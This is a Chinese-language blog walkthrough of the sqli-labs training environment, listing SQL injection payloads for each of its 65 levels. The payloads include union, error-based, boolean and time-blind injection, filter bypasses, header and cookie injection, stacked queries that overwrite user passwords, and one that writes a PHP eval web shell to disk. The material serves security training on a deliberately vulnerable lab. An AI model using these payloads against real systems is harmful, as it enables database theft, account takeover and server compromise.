主要是记下来了每关通过可以采用的注入方式,可能部分关卡的通关方式写的不全面,欢迎指出,具体的获取数据库信息请手动操作一下。

环境初始界面如下:

sql注入流程语句:

order by 3--+    #判断有多少列
union select 1,2,3--+ #判断数据显示点
union select 1,user(),database()--+ #显示出登录用户和数据库名
union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security' ),3--+ #查看数据库有哪些表
#查看对应表有哪些列
union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users' ),3--+
union select 1,(select group_concat(concat_ws(0x7e,username,password))from users),3--+ #查看账号密码信息
union select updatexml(1,concat(0x7e,(select database()),0x7e),1)--+ #报错注入,中间的database()可以替换上面的语句
and (length(database()))=8 #bool注入
  • less-1:基于单引号的字符型注入
注入点语句格式:id=1' and 1=1 --         #判断方式输入'和''两次的结果不一致,就可能是'闭合

  • less-2:布尔型注入
注入点语句格式:id=1 and 1=1 --+

  • less-3:基于')的字符型注入
注入点语句格式:id=1') and 1=1 --+           #根据第一关的判断方式基本可以断定和'有关,但是是失败的,然后就想到了)闭合

  • less-4:基于")字符型注入
注入点语句格式:id=1') and 1=1 --+   #测试回显数据时前面参数修改为0

  • less-5:基于'字符型的错误回显注入

对于这种只返回成功或失败的只能采取报错注入或bool注入的方式

注入点语句格式1:1' union select updatexml(1,concat(0x7e,(select database()),0x7e),1)--+   #报错注入
注入点语句格式2:1' and length(database())=8--+ #bool注入

  • less-6:基于"字符型的错误回显注入
注入点语句格式1:1" union select updatexml(1,concat(0x7e,(select database()),0x7e),1)--+   #报错注入
注入点语句格式2:1' and length(database())=8--+ #bool注入

  • less-7:文件读写注入
注入点语句格式:1'))  UNION SELECT 1,"<?php eval($_REQUEST[upfine]); ?>",3 into outfile "d:\\upfine.php"--+
#需要开启数据库的写入权限,即secure_file_priv无属性值(不是NULL),可通过:show global variables like '%secure%';查看

  • 8-less:基于'的布尔注入
注入点语句格式:1' and length(database())=8 --+   #对于这种只返回成功与否的可以考虑报错注入

  • 9-less:基于'的时间盲注
注入点语句格式:1' and if(length(database())>3,sleep(5),1)--+        #sleep被过滤的时候可以通过具有一定计算时间的函数进行替代

  • 10-less:基于"的时间盲注
注入点语句格式:1" and if(length(database())>3,sleep(5),1)--+        #sleep被过滤的时候可以通过具有一定计算时间的函数进行替代

  • 11-less:基于'的POST型注入
注入点语句格式1:username:1' or '1'='1   passwd:1' or '1'='1
注入点语句格式2:username:1' or 1=1#
注入点语句格式3:username:\ passwd:or 1=1# #此原理利用的是转义服务端语句中的闭合符号成为name值的一部分

  • 12-less:基于")的POST型注入
注入点语句格式1:username:1") or 1=1#

  • 13-less:基于')的错误回显注入
注入点语句格式:username:1') union select updatexml(1,concat(0x7e,(select user()),0x7e),1)#

  • 14-less:基于"的报错注入
注入语句格式:username:1" union select updatexml(1,concat(0x7e,(select user()),0x7e),1)#

  • 15-less:基于'的延时注入和bool注入
注入语句格式1:username:admin' and if(length(database())>3,sleep(5),1)#            #测试时用户名必须存在
注入语句格式2:username:1' or length(database())>3# #bool注入

  • 16-less:基于")的延时注入和bool注入
注入语句格式1:username:admin") and if(length(database())>3,sleep(5),1)#            #测试时用户名必须存在
注入语句格式2:username:1") or length(database())>3# #bool注入

  • 17-less:基于'的密码报错注入和bool注入
注入语句格式1:uname:admin    passwd:12' where length(database())>3#     #bool注入
注入语句格式2:uname:admin passwd:12' and (updatexml(1,concat(0x7e, database(),0x7e),1))# #报错注入

  • 18-less:基于'的User-Agent:报头文报错注入

这一个关卡需要登录成功才会显示user-agent信息(审计源代码信息)

注入语句格式1:User-Agent: ',updatexml(1,concat(0x7e,database(),0x7e),1),1)#或者',1,updatexml(1,concat(0x7e, database(),0x7e),1))# #报错注入,主要是形成insert语句的闭合
注入语句格式2:User-Agent: ',1,if(length(database())>3,sleep(10),1))# #延时注入

  • 19-less:基于'的Referer:报头文报错注入
注入语句格式1:Referer:',updatexml(1,concat(0x7e,database(),0x7e),1))#            #报错注入
注入语句格式2:Referer:',if(length(database())>3,sleep(10),1))# #延时注入

  • 20-less:基于'的cookie报错注入和延时注入
注入语句格式1:Cookie: uname=admin' and (updatexml(1,concat(0x7e,user(),0x7e),1))#        #报错注入
注入语句格式2:Cookie: uname=admin' and if(length(database())>3,sleep(10),1)# #延时注入

  • 21-less:基于')的cookie信息(加密)注入(联合注入和报错注入)

需要对代码进行审计,在代码中发现对cookee获取的数据进行解码后直接带入了查询,代码信息如下:

主语语句格式1:Cookie:uname=') union select 1,2,3#      payload:Cookie:uname=JykgdW5pb24gc2VsZWN0IDEsMiwzIw==     #联合注入
注入语句格式2:Cookie: uname=') and (updatexml(1,concat(0x7e,user(),0x7e),1))# payload:Cookie:uname=JykgYW5kICh1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSx1c2VyKCksMHg3ZSksMSkpIw== #报错注入

  • 22-less:基于"字符型的Cookie注入

同样是审查源代码,步骤同21-less。

主语语句格式1:Cookie:uname=" union select 1,2,3#      payload:Cookie:uname=     #联合注入
注入语句格式2:Cookie: uname=" and (updatexml(1,concat(0x7e,user(),0x7e),1))# payload:Cookie:uname=IiBhbmQgKHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLHVzZXIoKSwweDdlKSwxKSkj #报错注入

  • 23-less:过滤注释符#和--+的GET型注入
注入语句格式1:Cookie:uname=0' union select 1,2,'3        #联合注入  这里注意下第三个参数返回值就是'内的值,而非执行的结果

24-less:环境错误,一直出来修改密码界面,先放一放

  • 25-less:过滤or和and的单引号注入
注入语句格式1:0' union select 1,2,3--+           #涉及到or和and的双写绕过即可:payload:1' anandd 1=1--+或2 oorr 1=1
注入语句格式2:1'anandd((length(database())>3))anandd'1'='1 #bool注入
注入语句格式3:1'anandd(if(length(database())>3,sleep(10),1))anandd'1'='1 #延时注入
注入语句格式4:0'anandd(updatexml(1,concat(0x7e,user(),0x7e),1))anandd'1'='1 #报错注入

  • 25a-less:过滤or和and的数字型注入
注入语句格式1:0 union select 1,2,3--+           #涉及到or和and的双写绕过即可:payload:1 anandd 1=1--+或2 oorr 1=1
注入语句格式2:1%a0anandd((length(database())>3))anandd%a01=1 #bool注入
注入语句格式3:1%a0anandd(if(length(database())>3,sleep(10),1))anandd%a01%a0=%a01 #延时注入
注入语句格式4:0%a0anandd(updatexml(1,concat(0x7e,user(),0x7e),1))anandd%a01%a0=%a01 #报错注入

  • 26-less:基于'过滤注释、空格、or、and、--、#等的注入
注入语句格式1:2'oorr'1'='1            #确定注入点,注意第一个数字是2,返回的确实数字为1的结果,所以后面语句生效
注入语句格式2:0'anandd(updatexml(1,concat(0x7e,user(),0x7e),1))anandd'1'='1 #报错注入
注入语句格式3:1'anandd(if(length(database())>3,sleep(10),1))anandd'1'='1 #延时注入
注入语句格式4:1'anandd((length(database())>3))anandd'1'='1 #bool注入

  • 26a-less:基于')过滤注释、空格、or、and、--、#等的注入
注入语句格式1:1')anandd(if(length(database())>3,sleep(10),1))anandd('1')=('1           #延时注入
注入语句格式2:1')union%a0select%a01,2,3%a0anandd('1')=('1 #联合注入
注入语句格式3:1')anandd((length(database())>3))anandd('1')=('1 #bool注入

  • 27-less:基于'过滤union、select、注释、空格等的注入
注入语句格式1:0'and(updatexml(1,concat(0x7e,user(),0x7e),1))and'1'='1       #报错注入
注入语句格式2:1'and(if(length(database())>3,sleep(10),1))and'1'='1 #延时注入
注入语句格式3:1'and((length(database())>3))and'1'='1 #bool注入
注入语句格式4:0'%a0ununionion%a0selselectECT%a01,2,'3 #联合注入

  • 27a-less:基于"过滤union、select、注释、空格等的注入
注入语句格式:1"and((length(database())>3))and"1"="1         #bool注入
注入语句格式2:1"and(if(length(database())>3,sleep(10),1))and"1"="1 #延时注入

  • 28-less:基于')过滤空格的注入
注入语句格式1:0')union%a0select%a01,2,('3          #联合注入
注入语句格式2:1')and((length(database())>3))and('1')=('1 #bool注入

  • 28a-less:基于')过滤空格的注入
注入语句格式1:0')union%a0select%a01,2,('3          #联合注入
注入语句格式2:1')and((length(database())>3))and('1')=('1 #bool注入

29、30、31关卡需要先搭建jsp环境

jspstudy下载连接:https://www.xp.cn/download.html,根据提示进行安装即可,安装完成后在其他选项菜单中点击站点域名管理,然后进行保存并生成配置文件(这里注意下目录,如果错误导致服务启动不了,则去对应服务中的配置文件中修改下目录即可),注意修改apache、mysql、tomcat的端口,不要与phpstudy的端口冲突,这三个关卡需要同时启动jspstudy和phpstudy,最后环境搭建成功结果如下:

  • 29-less:基于'的http请求的参数污染注入
注入语句格式1:?id=1&id=0' union select 1,2,3--+            #联合注入
注入语句格式2:?id=1&id=0'and updatexml(1,concat(0x5e,database(),0x5e),3)--+ #报错注入

  • 30-less:基于"的http请求的参数污染注入
注入语句格式1:?id=1&id=0" union select 1,2,3--+            #联合注入

  • 31-less:基于")的http请求的参数污染注入
注入语句格式1:?id=1&id=0") union select 1,2,3--+            #联合注入

  • 32-less:宽字节注入:源于程序员设置MySQL连接时的错误配置(set character_set_client=gbk,导致%df%27变成了運)
注入语句格式1:?id=-1%df' union select 1,2,3--+            #宽字节注入

  • 33-less:get型宽字节注入(addslashes函数过滤)
注入语句格式1:?id=-1%df' union select 1,2,3--+            #宽字节注入

  • 34-less:post型宽字节注入
注入语句格式1:uname=a%df' union select 1,2#&passwd=admin&submit=Submit          #宽字节注入
说明:这里是根据页面是正常回显和报错来判断注入语句是否正确的
例如:
uname=a%df' order by 2 #&passwd=admin&submit=Submit #回显是攻击
uname=a%df' order by 3 #&passwd=admin&submit=Submit #回显是报错

  • 35-less:数值型注入(对'等字符进行了转义,但是数值型注入与'无关)
注入语句格式1:?id=0 union select 1,2,3--+   #联合注入

  • 36-less:宽字节注入(Bypass MySQL Real Escape String)
注入语句格式1:?id=0%df' union select 1,2,3--+            #宽字节注入

  • 37-less:post宽字节注入(MySQL_real_escape_string)
注入语句格式1:uname=a%df' union select 1,2#&passwd=admin&submit=Submit          #宽字节注入
说明:这里是根据页面是正常回显和报错来判断注入语句是否正确的
例如:
uname=a%df' order by 2 #&passwd=admin&submit=Submit #回显是攻击
uname=a%df' order by 3 #&passwd=admin&submit=Submit #回显是报错

  • 38-less:基于'闭合的堆叠注入
注入语句格式1:?id=0%27union%20select%201,2,3--+   #联合注入
注入语句格式2:?id=1%27;update users set password='@upfine' where username='Dumb';--+ #堆叠注入 后面可替换sql语句

  • 39-less:基于数字型的堆叠注入
注入语句格式1:?id=0 union%20select%201,2,3--+   #联合注入
注入语句格式2:?id=1;update users set password='@upfine' where username='Dumb';--+ #堆叠注入 后面可替换sql语句

  • 40-less:基于')闭合的堆叠注入
注入语句格式1:?id=0') union%20select%201,2,3--+   #联合注入
注入语句格式2:?id=1');update users set password='@upfine' where username='Dumb';--+ #堆叠注入

  • 41-less:基于数字型的堆叠注入
注入语句格式1:?id=0 union select 1,2,3--+   #联合注入
注入语句格式2:?id=1;update users set password='@upfine' where username='Dumb';--+ #堆叠注入

  • 42-less:基于'闭合的post提交方式的堆叠注入
注入语句格式1:login_user=admin&login_password=admin';update users set password='@upfine' where username='Dumb';--+&mysubmit=Login   #堆叠注入

  • 43-less:基于')闭合的post提交方式的堆叠注入
注入语句格式1:login_user=admin&login_password=admin');update users set password='@upfine' where username='Dumb';--+&mysubmit=Login   #堆叠注入

  • 44-less:基于'闭合的post提交方式的堆叠注入
注入语句格式1:login_user=admin&login_password=admin';update users set password='@upfine' where username='Dumb';--+&mysubmit=Login   #堆叠注入

  • 45-less:基于')的post提交方式的堆叠注入
注入语句格式1:login_user=admin&login_password=admin');update users set password='@upfine' where username='Dumb';--+&mysubmit=Login   #堆叠注入

  • 46-less:order by函数基于数字型的注入
注入语句格式1:?sort=If(length(database())>3,sleep(1),1)--+  #延时注入  延时时间为数据量*延时时间,因此可写0.2或0.3,下面相同关卡此处一样
注入语句格式2:?sort=updatexml(1,concat(0x5e,database(),0x5e),3)--+ #报错注入

  • 47-less:order by函数基于字符型'闭合的注入
注入语句格式1:?sort='updatexml(1,concat(0x5e,database(),0x5e),3)--+  #报错注入
注入语句格式2:?sort=1'and if(length(database())>3,sleep(1),1)--+ #延时注入 可将判断条件换成substr(database(),1,1)='s'之类的

  • 48-less:order by函数基于数字型的注入(去掉了报错回显)
注入语句格式1:?sort=If(length(database())>3,sleep(1),1)--+  #延时注入  延时时间比写的时间长很多,原因同上

  • 49-less:order by函数基于字符型'闭合的注入(去掉了报错回显)
注入语句格式1:?sort=1'and if(length(database())>3,sleep(1),1)--+  #延时注入  可将判断条件换成substr(database(),1,1)='s'之类的

  • 50-less:order by基于数字的堆叠注入
注入语句格式1:?sort=If(length(database())>3,sleep(1),1)--+  #延时注入
注入语句格式2:?sort=1 and updatexml(1,concat(0x5e,database(),0x5e),3)--+ #报错注入
注入语句格式3:?sort=1;update users set password='@upfine' where username='Dumb';--+ #堆叠注入

  • 51-less:order by基于'闭合的堆叠注入
注入语句格式1:?sort=1' and updatexml(1,concat(0x5e,database(),0x5e),3)--+       #报错注入
注入语句格式2:?sort=1';update users set password='@upfine' where username='Dumb';--+ #堆叠注入

  • 52-less:order by基于数字的堆叠注入(去掉报错注入)
注入语句格式1:?sort=If(length(database())>3,sleep(1),1)--+  #延时注入
注入语句格式2:?sort=1;update users set password='@upfine' where username='Dumb';--+ #堆叠注入

  • 53-less:order by基于'闭合的堆叠注入(去掉报错注入)
注入语句格式1:?sort=1';update users set password='@upfine' where username='Dumb';--+  #堆叠注入

  • 54-less:基于'闭合的union注入
注入过程
1'--+ #判断闭合方式
1' order by 3--+ #判断有多少列
0' union select 1,2,3--+ #判断数据显示点
0' union select 1,user(),database()--+ #显示出登录用户和数据库名
0' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'CHALLENGES' ),3--+ #查看数据库有哪些表
#查看对应表有哪些列
0' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='hmtuzmnr7h' ),3--+
0' union select 1,(select group_concat(concat_ws(0x7e,sessid,secret_KWLI))from hmtuzmnr7h),3--+

  • 55-less:基于)闭合的union注入
注入过程
1)--+ #判断闭合方式
1) order by 3--+ #判断有多少列
0) union select 1,2,3--+ #判断数据显示点
0) union select 1,user(),database()--+ #显示出登录用户和数据库名
0) union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'CHALLENGES' ),3--+ #查看数据库有哪些表
#查看对应表有哪些列
0) union select 1,(select group_concat(column_name) from information_schema.columns where table_name='hmtuzmnr7h' ),3--+
0) union select 1,(select group_concat(concat_ws(0x7e,sessid,secret_KWLI))from hmtuzmnr7h),3--+

  • 56-less:基于')闭合的union注入
注入过程
1')--+ #判断闭合方式
1') order by 3--+ #判断有多少列
0') union select 1,2,3--+ #判断数据显示点
0') union select 1,user(),database()--+ #显示出登录用户和数据库名
0') union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'CHALLENGES' ),3--+ #查看数据库有哪些表
#查看对应表有哪些列
0') union select 1,(select group_concat(column_name) from information_schema.columns where table_name='hmtuzmnr7h' ),3--+
0') union select 1,(select group_concat(concat_ws(0x7e,sessid,secret_KWLI))from hmtuzmnr7h),3--+

  • 57-less:基于"闭合的union注入
注入过程
1"--+ #判断闭合方式
1" order by 3--+ #判断有多少列
0" union select 1,2,3--+ #判断数据显示点
0" union select 1,user(),database()--+ #显示出登录用户和数据库名
0" union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'CHALLENGES' ),3--+ #查看数据库有哪些表
#查看对应表有哪些列
0" union select 1,(select group_concat(column_name) from information_schema.columns where table_name='hmtuzmnr7h' ),3--+
0" union select 1,(select group_concat(concat_ws(0x7e,sessid,secret_KWLI))from hmtuzmnr7h),3--+

  • 58-less:基于'闭合得报错注入
注入过程
1'--+ #判断闭合方式
0' and updatexml(1,concat(0x5e,database(),0x5e),x) --+ #数据库名
0' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),3) --+表名
0' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='hmtuzmnr7h'),0x7e),1)--+列明
0' and updatexml(1,concat(0x7e,(select sessid from hmtuzmnr7h limit 0,1),0x7e),1)--+
#updatexml函数只能返回32位数据,可以结合substr函数或倒叙其内容

  • 59-less:基于数字型得报错注入
注入过程
1--+#判断闭合方式
0 and updatexml(1,concat(0x5e,database(),0x5e),x) --+ #数据库名
0 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),3) --+表名
0 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='hmtuzmnr7h'),0x7e),1)--+列明
0 and updatexml(1,concat(0x7e,(select sessid from hmtuzmnr7h limit 0,1),0x7e),1)--+
#updatexml函数只能返回32位数据,可以结合substr函数或倒叙其内容

  • 60-less:基于")闭合的报错注入
注入过程
1")--+#判断闭合方式
0") and updatexml(1,concat(0x5e,database(),0x5e),x) --+ #数据库名
0") and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),3) --+表名
0") and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='hmtuzmnr7h'),0x7e),1)--+列明
0") and updatexml(1,concat(0x7e,(select sessid from hmtuzmnr7h limit 0,1),0x7e),1)--+
#updatexml函数只能返回32位数据,可以结合substr函数或倒叙其内容

  • 61-less:基于'))闭合的报错注入
注入过程
1'))--+#判断闭合方式
0')) and updatexml(1,concat(0x5e,database(),0x5e),x) --+ #数据库名
0')) and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),3) --+表名
0')) and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='hmtuzmnr7h'),0x7e),1)--+列明
0')) and updatexml(1,concat(0x7e,(select sessid from hmtuzmnr7h limit 0,1),0x7e),1)--+
#updatexml函数只能返回32位数据,可以结合substr函数或倒叙其内容

  • 62-less:基于')闭合的bool注入
注入过程
1')--+#判断闭合方式
1') and substr(database(),1,1)='c'--+ #使用脚本获取数据库名 脚本可以参考:https://www.cnblogs.com/upfine/p/16556520.html
1') and substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges' limit 0,1),1,1)='h'--+ #获取表明
1') and substr((select column_name from information_schema.columns where table_name='hmtuzmnr7h' limit 0,1),1,1)='i'--+ #获取列明
1') and substr((select sessid from hmtuzmnr7h limit 0,1),1,1)='8'--+ #获取数据
1') and (select sessid from hmtuzmnr7h limit 0,1)='8497a1cc70f42de1ab3d4ed57d54ff83'--+ #可用于验证 #上面步骤中省略掉了判断数据的长度、列的长度、列的数量、表的长度等步骤,修改为length()函数即可

  • 63-less:基于'闭合的bool注入
注入过程
1'--+#判断闭合方式
1' and substr(database(),1,1)='c'--+ #使用脚本获取数据库名 脚本可以参考:https://www.cnblogs.com/upfine/p/16556520.html
1' and substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges' limit 0,1),1,1)='h'--+ #获取表明
1' and substr((select column_name from information_schema.columns where table_name='hmtuzmnr7h' limit 0,1),1,1)='i'--+ #获取列明
1' and substr((select sessid from hmtuzmnr7h limit 0,1),1,1)='8'--+ #获取数据
1' and (select sessid from hmtuzmnr7h limit 0,1)='8497a1cc70f42de1ab3d4ed57d54ff83'--+ #可用于验证 #上面步骤中省略掉了判断数据的长度、列的长度、列的数量、表的长度等步骤,修改为length()函数即可

  •  64-less:基于))闭合的bool注入
注入过程
1))--+#判断闭合方式
1)) and substr(database(),1,1)='c'--+ #使用脚本获取数据库名 脚本可以参考:https://www.cnblogs.com/upfine/p/16556520.html
1)) and substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges' limit 0,1),1,1)='h'--+ #获取表明
1)) and substr((select column_name from information_schema.columns where table_name='hmtuzmnr7h' limit 0,1),1,1)='i'--+ #获取列明
1)) and substr((select sessid from hmtuzmnr7h limit 0,1),1,1)='8'--+ #获取数据
1)) and (select sessid from hmtuzmnr7h limit 0,1)='8497a1cc70f42de1ab3d4ed57d54ff83'--+ #可用于验证 #上面步骤中省略掉了判断数据的长度、列的长度、列的数量、表的长度等步骤,修改为length()函数即可

  •  65-less:基于")闭合的bool注入
注入过程
1))--+#判断闭合方式
1)) and substr(database(),1,1)='c'--+ #使用脚本获取数据库名 脚本可以参考:https://www.cnblogs.com/upfine/p/16556520.html
1)) and substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges' limit 0,1),1,1)='h'--+ #获取表明
1)) and substr((select column_name from information_schema.columns where table_name='hmtuzmnr7h' limit 0,1),1,1)='i'--+ #获取列明
1)) and substr((select sessid from hmtuzmnr7h limit 0,1),1,1)='8'--+ #获取数据
1") and (select sessid from hmtuzmnr7h limit 0,1)='8497a1cc70f42de1ab3d4ed57d54ff83'--+ #可用于验证 #上面步骤中省略掉了判断数据的长度、列的长度、列的数量、表的长度等步骤,修改为length()函数即可

SQL注入篇——sqli-labs各关卡方法介绍的更多相关文章

  1. 利用SQL注入漏洞登录后台的实现方法

    利用SQL注入漏洞登录后台的实现方法 作者: 字体:[增加 减小] 类型:转载 时间:2012-01-12我要评论 工作需要,得好好补习下关于WEB安全方面的相关知识,故撰此文,权当总结,别无它意.读 ...

  2. Java审计之SQL注入篇

    Java审计之SQL注入篇 0x00 前言 本篇文章作为Java Web 审计的一个入门文,也是我的第一篇审计文,后面打算更新一个小系列,来记录一下我的审计学习的成长. 0x01 JDBC 注入分析 ...

  3. [转载] 我的WafBypass之道(SQL注入篇)

    我的WafBypass之道(SQL注入篇) Web安全 作者:先知技术社区   2016-11-23  7,566   [本文转自安全脉搏战略合作伙伴先知技术社区 原帖地址  安全脉搏编辑huan97 ...

  4. sql注入篇2

    一.前言 上一篇:sql注入篇1 二.基于回显的注入类型判断 1.有结果的注入 例如下图: (sqlllab less-1)可以看到有正常结果返回,对于的利用方式就是老套路了,先order by查询出 ...

  5. sql注入篇1

    一.前言 学习了感觉很久的渗透,总结一下sql注入,系统整理一下sql注入思路. 二.关于sql注入 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到 ...

  6. SQL Server中解决死锁的新方法介绍

    SQL Server中解决死锁的新方法介绍 数据库操作的死锁是不可避免的,本文并不打算讨论死锁如何产生,重点在于解决死锁,通过SQL Server 2005, 现在似乎有了一种新的解决办法. 将下面的 ...

  7. ORACLE PL/SQL 中序列(sequence)的简易使用方法介绍

    如果我是C罗 原文 ORACLE PL/SQL 中序列(sequence)的简易使用方法介绍 sequence在ORACLE中应用十分广泛,就是序列号的意思,会自动增加指定变数,如逐次增加1或者2或者 ...

  8. SQL注入篇——sqli-labs各关卡方法介绍|1-65

    主要是记下来了每关通过可以采用的注入方式,可能部分关卡的通关方式写的不全面,欢迎指出,具体的获取数据库信息请手动操作一下. 环境初始界面如下: sql注入流程语句: order by 3--+ #判断 ...

  9. Sql server之sql注入篇

    SQL Injection 关于sql注入的危害在这里就不多做介绍了,相信大家也知道其中的厉害关系.这里有一些sql注入的事件大家感兴趣可以看一下 防范sql注入的方法无非有以下几种: 1.使用类型安 ...

随机推荐

  1. java枚举和注解

    枚举 一.枚举(enumeration) 是一组常量的集合,可以理解为:枚举属于一种特殊的类,里面只包含一组有限的特定的对象,构造方法默认为private. 二.枚举的两种实现方式 1.自定义实现枚举 ...

  2. Mac Sierra开启读写NTFS

    查看卷标diskutil list sudo vim /etc/fstab,开启WinD盘符读写,添加如下: LABEL=WinD none ntfs rw,auto,nobrowse 磁盘工具重新挂 ...

  3. 聊聊 C++ 中的几种智能指针 (下)

    一:背景 上一篇我们聊到了C++ 的 auto_ptr ,有朋友说已经在 C++ 17 中被弃用了,感谢朋友提醒,今天我们来聊一下 C++ 11 中引入的几个智能指针. unique_ptr shar ...

  4. 使min-height子元素height百分比生效的2种方式

    方式1,使用flex <!DOCTYPE html> <html lang="en"> <head> <meta charset=&quo ...

  5. linux 安装redis及问题收集

    contos 7 下安装redis教程可参照https://www.cnblogs.com/hxun/p/11075755.html值得注意的是在第6步方法一(所以建议使用方法二),如果直接使用xft ...

  6. linux 文件存放目录

    Linux不靠文件扩展名区分文件类型(windous病毒和木马不能在linux里面运行) 所有的存储设备都必须挂载之后才能使用(包括硬盘,U盘和光盘),例如给它手工给它分配盘符 Linux所有内容以文 ...

  7. NRooks采样类定义和测试

    类声明: #pragma once #ifndef __NROOKS_HEADER__ #define __NROOKS_HEADER__ #include "sampler.h" ...

  8. .NET CORE 读书笔记之与.NET Framework对比

    .NET Framework存在的问题 它是属于系统级别安装的程序 操作系统内的所有程序共享一个.NET Framework实例,如果其中某一个应用程序需要升级Framework,其他程序也会收到影响 ...

  9. 全局异常处理及参数校验-SpringBoot 2.7 实战基础 (建议收藏)

    优雅哥 SpringBoot 2.7 实战基础 - 08 - 全局异常处理及参数校验 前后端分离开发非常普遍,后端处理业务,为前端提供接口.服务中总会出现很多运行时异常和业务异常,本文主要讲解在 Sp ...

  10. 趋势科技 redirfs模块的一个小问题

    最近看的一个问题,消息队列可以创建,但是不能获取属性,也不能发消息,返回错误为:EBADF Bad file descriptor 经过打点,确认走入了这个流程: SYSCALL_DEFINE3(mq ...